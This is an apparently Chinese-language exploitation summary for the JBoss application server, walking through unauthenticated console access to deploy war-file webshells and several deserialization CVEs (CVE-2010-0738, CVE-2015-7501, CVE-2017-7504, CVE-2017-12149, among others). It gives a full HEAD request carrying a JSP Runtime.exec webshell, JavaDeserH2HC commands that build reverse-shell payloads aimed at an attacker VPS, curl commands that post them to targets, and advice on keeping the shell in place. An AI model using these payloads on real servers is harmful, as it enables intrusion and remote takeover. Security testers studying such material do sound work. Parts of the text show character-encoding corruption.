Jboss漏洞利用總結(jié)
JBOSS簡介
JBoss是一個(gè)基于J2EE的開放源代碼應(yīng)用服務(wù)器,代碼遵循LGPL許可,可以在任何商業(yè)應(yīng)用中免費(fèi)使用;JBoss也是一個(gè)管理EJB的容器和服務(wù)器,支持EJB 1.1、EJB 2.0和EJB3規(guī)范。但JBoss核心服務(wù)不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應(yīng)用服務(wù)器領(lǐng)域,JBoss是發(fā)展最為迅速的應(yīng)用服務(wù)器。由于JBoss遵循商業(yè)友好的LGPL授權(quán)分發(fā),并且由開源社區(qū)開發(fā),這使得JBoss廣為流行。
漏洞匯總

訪問控制不嚴(yán)導(dǎo)致的漏洞
Jboss管理控制臺(tái)
Jboss4.x
jboss 4.x 及其之前的版本 console 管理路徑為 /jmx-console/ 和 /web-console/ 。
jmx-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml #jboss的絕對(duì)路徑不同網(wǎng)站不一樣web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml #jboss的絕對(duì)路徑不同網(wǎng)站不一樣web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml #jboss的絕對(duì)控制臺(tái)賬號(hào)密碼
jmx-console 和 web-console共用一個(gè)賬號(hào)密碼 ,賬號(hào)密碼文件在
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

JMX Console未授權(quán)訪問Getshell
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對(duì)外開放,并且沒有任何身份驗(yàn)證機(jī)制,導(dǎo)致攻擊者可以進(jìn)?到j(luò)mx控制臺(tái),并在其中執(zhí)?任何功能。
影響版本
Jboss4.x以下
漏洞利?
Jboxx4.x /jmx-console/ 后臺(tái)存在未授權(quán)訪問,進(jìn)入后臺(tái)后,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。

然后找到j(luò)boss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點(diǎn)進(jìn)去(通過 url 的方式遠(yuǎn)程部署)

也可以直接輸入U(xiǎn)RL進(jìn)入
http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
找到頁面中的void addURL()選項(xiàng)來遠(yuǎn)程加載war包來部署。

查看部署是否成功
返回到剛進(jìn)入jmx-console的頁面,找到 jboss.web.deployment,如下說明部署成功。如果沒顯示,多刷新幾次頁面或者等會(huì)兒,直到看到有部署的war包即可

訪問我們的木馬

通常像上面這樣部署的webshell,物理路徑默認(rèn)都會(huì)在以下目錄下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
而這個(gè)目錄最多用作臨時(shí)維持下權(quán)限,所以可以把shell傳到j(luò)mx-console的默認(rèn)目錄來鞏固權(quán)限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對(duì)外開放,并且沒有任何身份驗(yàn)證機(jī)制,導(dǎo)致攻擊者可以進(jìn)?到j(luò)mx控制臺(tái),并在其中執(zhí)?任何功能。該漏洞利?的是后臺(tái)中jboss.admin -> DeploymentFileRepository -> store()?法,通過向四個(gè)參數(shù)傳?信息,達(dá)到上傳shell的?的,其中arg0傳?的是部署的war包名字,arg1傳?的是上傳的?件的?件名,arg2傳?的是上傳?件的?件格式,arg3傳?的是上傳?件中的內(nèi)容。通過控制這四個(gè)參數(shù)即可上傳shell,控制整臺(tái)服務(wù)器。
影響版本
Jboss4.x以下
漏洞利用
輸?url
http://目標(biāo)IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
定位到store?法
通過向四個(gè)參數(shù)傳入信息,達(dá)到上傳shell的目,
arg1傳入的是部署的war包名字
arg2傳入的是上傳的文件的文件名
arg3傳入的是上傳文件的文件格式
arg4傳入的是上傳文件中的內(nèi)容
通過控制這四個(gè)參數(shù)即可上傳shell,控制整臺(tái)服務(wù)器。

后面的CVE-2010-0738和CVE-2006-5750漏洞也存在這一特性。
JMX控制臺(tái)安全驗(yàn)證繞過漏洞(CVE-2010-0738)
漏洞描述
該漏洞利??法跟CVE-2007-1036?樣,只是繞過了get和post傳輸限制,利?
head傳輸?式發(fā)送payload
影響版本
jboss4.2.0、jboss 4.3.0
漏洞利?
利?head傳輸?式,payload如下:
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
CVE-2006-5750
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區(qū)別是CVE-2006-5750漏洞利用methodIndex進(jìn)行store()方法的調(diào)用。其中methodIndex是通過方法的編號(hào)進(jìn)行調(diào)用。
Jboss5.x/6.x控制臺(tái)
Jboss5.x開始棄用了 web-console ,增加了 admin-console。jboss5.x / 6.x 版本 console 路徑為 /jmx-console/ 和 /admin-console/。
jmx-console的配置文件為
jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml #jboss的絕對(duì)路徑不同網(wǎng)站不一樣
admin-console的配置文件為
jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml #jboss的絕對(duì)路徑不同網(wǎng)站不一樣
控制臺(tái)賬號(hào)密碼
jmx-console 和 web-console 共用一個(gè)賬號(hào)密碼 ,賬號(hào)密碼文件在
jboss/server/default/conf/props/jmx-console-users.properties
Jboss 5.x/6.x admin-Console后臺(tái)部署war包Getshell
Jboss5.X開始,jmx-console不能部署war包了,需要admin-console后臺(tái)部署
登錄進(jìn)admin-console后臺(tái)后,點(diǎn)擊Web Application(WAR)s ,然后Add a new resource



這里選擇我們本地生成好的war包


訪問木馬成功
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
這是經(jīng)典的 JBoss 反序列化漏洞,
JBoss在 /invoker/JMXInvokerServlet 請(qǐng)求中讀取了用戶傳入的對(duì)象,然后我們可以利用 Apache Commons Collections 中的 Gadget 執(zhí)行任意代碼。
由于JBoss中invoker/JMXInvokerServlet路徑對(duì)外開放,JBoss的jmx組件?持Java反序列化
影響版本
實(shí)際上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
漏洞探測
此漏洞存在于JBoss中?/invoker/JMXInvokerServlet?路徑。訪問若提示下載 JMXInvokerServlet,則可能存在漏洞。

我們先啟動(dòng)靶機(jī)環(huán)境,訪問:http://yourip:8080/

下面使用JavaDeserH2HC 生成反彈 shell 的 payload
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公網(wǎng)vps的ip:端口號(hào)
curl http://目標(biāo)IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
進(jìn)行文件編譯
生成載荷的序列化文件xx.ser(反彈shell到我們的vps)
利用curl提交我們的ser文件

vps使用nc監(jiān)聽端口
成功反彈

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
此漏洞和CVE-2015-7501漏洞原理相同,兩者的區(qū)別就在于兩個(gè)漏洞選擇的進(jìn)行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進(jìn)行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進(jìn)行反序列化并上傳構(gòu)造的文件。
影響版本
實(shí)際上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
漏洞利用
跟CVE-2015-7501利??法?樣,只是路徑不?樣,這個(gè)漏洞利?路徑是?/invoker/EJBInvokerServlet
JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
漏洞描述
JBoss AS 4.x及之前版本中,JbossMQ實(shí)現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞,遠(yuǎn)程攻擊者可借助特制的序列化數(shù)據(jù)利?該漏洞執(zhí)?任意代碼。
影響版本
JBoss AS 4.x及之前版本
漏洞利用
1、首先驗(yàn)證目標(biāo)jboss是否存在此漏洞,直接訪問
/jbossmq-httpil/HTTPServerILServlet?路徑下。若訪問200,則可能存在漏洞。

此處我們使用JavaDeserH2HC工具來利用該漏洞,嘗試直接彈回一個(gè)shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反彈的IP:端口
curl http://目標(biāo)IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser


成功反彈shell
JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞
漏洞描述
該漏洞為 Java反序列化錯(cuò)誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進(jìn)行任何安全檢查的情況下嘗試將來自客戶端的數(shù)據(jù)流進(jìn)行反序列化,從而導(dǎo)致了漏洞。
該漏洞出現(xiàn)在**/invoker/readonly**請(qǐng)求中,服務(wù)器將用戶提交的POST內(nèi)容進(jìn)行了Java反序列化,導(dǎo)致傳入的攜帶惡意代碼的序列化數(shù)據(jù)執(zhí)行。
影響版本
JbossAS 5.x
JbossAS 6.x
漏洞驗(yàn)證POC
http://目標(biāo):8080/invoker/readonly 如果出現(xiàn)報(bào) 500 錯(cuò)誤,則說明目標(biāo)機(jī)器可能存在此漏洞

漏洞利用
首先從http響應(yīng)頭和title中一般情況下都能看到信息來確定目標(biāo) jboss 版本是否在此漏洞版本范圍

現(xiàn)成工具

接下來借助JavaDeserH2HC來完成整個(gè)利用過程
首先嘗試直接反彈shell,利用JavaDeserH2HC創(chuàng)建好用于反彈shell的
payload,如下
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
然后嘗試?yán)胏url發(fā)送payload到目標(biāo)機(jī)器上執(zhí)行后,發(fā)現(xiàn)vps已成功接彈回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser


成功反彈shell。
參考文獻(xiàn):
https://blog.csdn.net/qq_36119192/article/details/103899123
https://www.freebuf.com/articles/web/240174.html
